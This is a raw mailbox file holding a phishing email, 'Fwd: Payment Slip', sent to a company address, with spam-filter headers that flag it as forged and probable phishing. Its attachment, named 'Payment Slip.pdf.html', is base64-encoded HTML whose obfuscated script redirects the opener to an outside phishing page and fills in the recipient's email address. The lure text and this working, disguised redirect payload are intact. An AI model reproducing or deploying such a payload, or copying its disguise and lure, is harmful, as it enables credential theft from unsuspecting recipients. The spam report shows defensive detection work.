File: /home2/hansardh/mail/.spam/new/1745198587.M777425P3753961.hp4.hostpido.com,S=6651,W=6784
Return-Path: <lisa0831@gmail.com>
Delivered-To: hansardh+spam@hp4.hostpido.com
Received: from hp4.hostpido.com
by hp4.hostpido.com with LMTP
id KdkeLvudBWjpRzkA6hbwcw
(envelope-from <lisa0831@gmail.com>)
for <hansardh+spam@hp4.hostpido.com>; Mon, 21 Apr 2025 04:23:07 +0300
Return-path: <lisa0831@gmail.com>
Envelope-to: info@hansardhomes.co.ke
Delivery-date: Mon, 21 Apr 2025 04:23:07 +0300
Received: from [185.208.158.20] (port=62089 helo=gmail.com)
by hp4.hostpido.com with esmtp (Exim 4.97.1)
(envelope-from <lisa0831@gmail.com>)
id 1u6fsI-0000000FkUT-0da3
for info@hansardhomes.co.ke;
Mon, 21 Apr 2025 04:23:07 +0300
From: Accounting <lisa0831@gmail.com>
To: info@hansardhomes.co.ke
Date: 20 Apr 2025 18:22:24 -0700
Message-ID: <20250420182221.0B235A2A79250AB9@gmail.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_1DD7FBB6.7BC2F710"
X-Spam-Status: Yes, score=9.6
X-Spam-Score: 96
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "hp4.hostpido.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: New Page 1 How are you Find attached Payment Slip. as requested
Content analysis details: (9.6 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?185.208.158.20>]
0.0 T_SPF_PERMERROR SPF: test of record failed (permerror)
0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is
CUSTOM_MED
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends
in digit
[lisa0831[at]gmail.com]
1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received'
headers
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail
provider
[lisa0831[at]gmail.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[185.208.158.20 listed in bl.score.senderscore.com]
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message
and the domain has no DMARC policy
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS
1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing
list
X-Spam-Flag: YES
Subject: ***SPAM*** Fwd: Payment Slip
This is a multi-part message in MIME format.
------=_NextPart_000_0012_1DD7FBB6.7BC2F710
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">
<HTML><HEAD><TITLE>New Page 1</TITLE>
<META content=3Den-us http-equiv=3DContent-Language>
<META content=3D"text/html; charset=3Dwindows-1252" http-equiv=3DContent-Ty=
pe>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<body>
<DIV class=3DrcmBody style=3D"MARGIN: 0.5em">
<DIV>
<P><FONT size=3D4>How are you<BR> </FONT></P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)"><FONT size=3D4>Find attached Payment Slip. as =
requested=20
<P>kindly check with your bank for confirmation. </FONT></P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)"> =20
<P><FONT size=3D4>Thanks<BR>Accounting<BR>lisa</FONT></P>
<P> </P></DIV>
<P><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT si=
ze=3D4>-----Original Message-----<BR>From: "Account Payables/Credit Control=
Unit"<BR>Date: 4/20/2025 6:22:21 p.m.<BR>To: "Accounting"<</FONT></SPAN=
><FONT size=3D4><A style=3D"COLOR: rgb(0,0,238)">lisa0831@gmail.com</A></FO=
NT><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT si=
ze=3D4>><BR>Subject: Fwd: </FONT></SPAN><FONT size=3D4>Payment Slip</FON=
T><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT siz=
e=3D4>
</FONT></SPAN></P>
<P> </P>
<P><FONT size=3D4>Hello, lisa</FONT></P>
<P><FONT size=3D4>Kindly forward the attached Payment Slip to <=
/FONT><A style=3D"COLOR: rgb(0,0,238)"><FONT size=3D4>info@hansardhomes.co.=
ke</FONT></A></P></DIV>
<P><FONT size=3D4>Best Regards,<BR>Account Payables/Credit Control Unit </F=
ONT></P></BODY></HTML>
------=_NextPart_000_0012_1DD7FBB6.7BC2F710
Content-Type: text/html; name="Payment Slip.pdf.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Payment Slip.pdf.html"
PHNjcmlwdD4NCjwhLS0gcGlpa2pqaGhiYnZmY3Z5dHI2NTRkZXJmdGZkZWRlZXJmZHhkY2Nm
ZHd3YXFhMjZ1aWp1aGd5dGZyZnRneWh1amtpamh5Ym5uaGJndmNnNmY1NGZ5Z3QtLT4NCmRv
Y3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0MlMjFET0NUWVBFJTIwaHRtbCUyMFBVQkxJQyUy
MCUyMi0vL1czQy8vRFREJTIwWEhUTUwlMjAxLjAlMjBUcmFuc2l0aW9uYWwvL0VOJTIyJTBB
JTBBJTIyJTIyJTNFJTBBJTNDaHRtbCUyMHhtbG5zJTNEJTIyJTIyJTNFJTBBJTNDaGVhZCUz
RSUwQSUzQ21ldGElMjBodHRwLWVxdWl2JTNEJTIyQ29udGVudC1UeXBlJTIyJTIwY29udGVu
dCUzRCUyMnRleHQvaHRtbCUzQiUyMGNoYXJzZXQlM0Rpc28tODg1OS0xJTIyJTIwLyUzRSUw
QSUzQ21ldGElMjBodHRwLWVxdWl2JTNEJTIyUkVGUkVTSCUyMmNvbnRlbnQlM0QlMjIxJTNC
dXJsJTNEaHR0cHMlM0EvL2hhdmFqZWwuY29tL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9zcmMv
c20uaHRtbCUzRmVtYWlsJTNEJykpOw0KPC9zY3JpcHQ+aW5mb0BoYW5zYXJkaG9tZXMuY28u
a2UiPg0KPHRpdGxlPlVudGl0bGVkIERvY3VtZW50PC90aXRsZT4NCjwvaGVhZD4NCg0KPGJv
ZHk+DQoNCjwvYm9keT4NCjwvaHRtbD4NCg==
------=_NextPart_000_0012_1DD7FBB6.7BC2F710--